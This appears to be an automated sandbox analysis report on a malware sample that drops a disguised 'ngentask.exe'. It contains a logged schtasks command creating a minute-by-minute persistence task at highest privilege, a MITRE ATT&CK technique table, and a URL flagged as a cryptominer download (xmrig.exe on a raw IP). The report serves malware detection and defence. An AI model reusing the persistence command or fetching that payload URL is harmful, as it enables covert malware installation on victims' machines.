Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Queries volume information: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe VolumeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Queries volume information: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe VolumeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Queries volume information: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe VolumeInformation
Source: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	Queries volume information: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe VolumeInformation

Source: C:\Users\user\Desktop\QHSgso4hXH.exe

Code function: 0_2_00409664 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	11 Scheduled Task/Job	311 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Scheduled Task/Job	1 DLL Side-Loading	11 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	2 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Native API	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	311 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	11 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Software Packing	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	14 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
QHSgso4hXH.exe	32%	ReversingLabs
QHSgso4hXH.exe	34%	Virustotal	Browse
QHSgso4hXH.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\ServiceHub\ngentask.exe	0%	Metadefender		Browse

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.3.QHSgso4hXH.exe.c190000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
1.0.ngentask.exe.400000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
0.3.QHSgso4hXH.exe.c190000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://vXsLjUXgEkdPUv.307xVYtdN0	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/m	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-json/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.3.0	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de-sticky-frontend	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/a	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/themes/hello-elementor/theme.min.css?ver=2.3.1	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.cs	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/videography/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/contact-us/#	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/s	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/l	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.eot?5.10.0);s	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.4.8	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/d	0%	Avira URL Cloud	safe
https://analytify.io/downloads/analytify-wordpress-plugin/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/comments/feed/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-270x270.jpg	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?v	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/i	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de-active-icon-box.	0%	Avira URL Cloud	safe
http://193.218.201.246/xmrig.exe	100%	Avira URL Cloud	malware
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/simple-line-icons.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/2021/06/Logo-e1624927275244-300x96.png	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-164.css?ver=1637579040	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/slick.css?ver=1.5.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/jquery-1.12.4-wp.js	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/google-ads/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/web-design/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/library.bin	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/branding/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.3	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.4.8	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de-sticky-frontend.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/jquery-migrate-1.4.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/web-design-2/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.4.8	0%	Avira URL Cloud	safe
http://193.218.201.246/xmrig.exe(KKl	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de_loop/ecs.js?ver=	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/chaty/css/chaty-front.min.css?ver=1630326243	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/ResizeSensor.mi	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/dethemekit-de-caro	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/themes/hello-elementor/style.min.css?ver=2.3.1	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-180x180.jpg	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.3.0	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/2021/06/Logo-e1624927275244.png	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/sticky-sidebar/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/preloaded-elements-handlers.mi	0%	Avira URL Cloud	safe
http://vXsLjUXgEkdPUv.307xVYtdN0h8WhldS19UlhMR80~	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/font-awesome.min	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/elementor-524/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de_loop/ecs-style.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-192x192.jpg	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.4.8	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.4.8	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-171.css?ver=1637579040	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/designs/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-32x32.jpg	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/business-consulting/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/contact-us/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/dethemekit-widgets	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/css/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/search-user-optimization/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/feed/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/social-media/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/library.bini3NC8vtbKWLvXsWnllFS6z1xMD07Gw9nfzJIj6wDIzGzCefljal5yvndAtCkYM	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.1	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ve	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-196.css?ver=1637579583	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/jsticky/jquery.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.8.1	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/about-imarket/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.5/lazyload.min.js	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.ttf?5.10.0)	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/htflexboxgrid.css?	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/chaty/js/cht-front-script.js?ver=1630326243	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.svg?5.10.0#ei	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-includes/wlwmanifest.xml	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/social-media-marketing/	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de-product-display	0%	Avira URL Cloud	safe
https://www.imarket-eg.com	0%	Avira URL Cloud	safe
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de_loop/ecs_ajax_pa	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
imarket-eg.com	160.153.50.70	true	false	unknown
vxsljuxgekdpuv.307xvytdn0	unknown	unknown	false	unknown
www.imarket-eg.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.imarket-eg.com/library.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.imarket-eg.com/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.cs	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/a	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/videography/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/themes/hello-elementor/theme.min.css?ver=2.3.1	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de-sticky-frontend	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/contact-us/#	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-json/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://vXsLjUXgEkdPUv.307xVYtdN0	QHSgso4hXH.exe	false	Avira URL Cloud: safe	low
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.3.0	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/m	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://analytify.io/downloads/analytify-wordpress-plugin/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/l	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/s	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.eot?5.10.0);s	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/d	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.4.8	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/js/i	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-270x270.jpg	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/comments/feed/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?v	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/en_US/fbevents.js	advapi32.dll.0.dr	false		high
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/jquery-1.12.4-wp.js	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://twitter.com/imarketegypt	advapi32.dll.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ngentask.exe, 00000001.00000002.275257695.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/slick.css?ver=1.5.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/simple-line-icons.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de-active-icon-box.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/2021/06/Logo-e1624927275244-300x96.png	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-164.css?ver=1637579040	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://193.218.201.246/xmrig.exe	ngentask.exe, 00000001.00000002.275257695.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.com/channel/UCoLhJ3CIgGI8Rvq_S_TkcFg	advapi32.dll.0.dr	false		high
https://www.imarket-eg.com/google-ads/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/web-design/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.3	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/branding/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.4.8	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/web-design-2/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.4.8	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de-sticky-frontend.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/jquery-migrate-1.4.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://193.218.201.246/xmrig.exe(KKl	ngentask.exe, 00000001.00000002.275257695.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/chaty/css/chaty-front.min.css?ver=1630326243	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de_loop/ecs.js?ver=	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/dethemekit-de-caro	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/ResizeSensor.mi	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/themes/hello-elementor/style.min.css?ver=2.3.1	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-180x180.jpg	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/sticky-sidebar/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/2021/06/Logo-e1624927275244.png	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://gmpg.org/xfn/11	advapi32.dll.0.dr	false		high
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.3.0	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/js/preloaded-elements-handlers.mi	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/elementor-524/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://vXsLjUXgEkdPUv.307xVYtdN0h8WhldS19UlhMR80~	QHSgso4hXH.exe, 00000000.00000002.520178129.0000000002A1B000.00000040.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://instagram.com/imarketegypt?utm_medium=copy_link	advapi32.dll.0.dr	false		high
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de_loop/ecs-style.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/font-awesome.min	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-192x192.jpg	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.4.8	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.4.8	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/business-consulting/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/2021/06/cropped-I-32x32.jpg	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-171.css?ver=1637579040	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/designs/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/includes/ext/sina/assets/css/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/feed/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/dethemekit-widgets	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.linkedin.com/in/imarket-marketing-agency-a80a82213/	advapi32.dll.0.dr	false		high
https://www.imarket-eg.com/contact-us/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/search-user-optimization/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/social-media/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/library.bini3NC8vtbKWLvXsWnllFS6z1xMD07Gw9nfzJIj6wDIzGzCefljal5yvndAtCkYM	QHSgso4hXH.exe, 00000000.00000002.520178129.0000000002A1B000.00000040.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ve	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.1	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://api.w.org/	advapi32.dll.0.dr	false		high
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/lib/jsticky/jquery.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/uploads/elementor/css/post-196.css?ver=1637579583	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.8.1	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/about-imarket/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.5/lazyload.min.js	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.ttf?5.10.0)	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/social-media-marketing/	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-includes/wlwmanifest.xml	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/xmlrpc.php?rsd	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/htflexboxgrid.css?	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.svg?5.10.0#ei	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
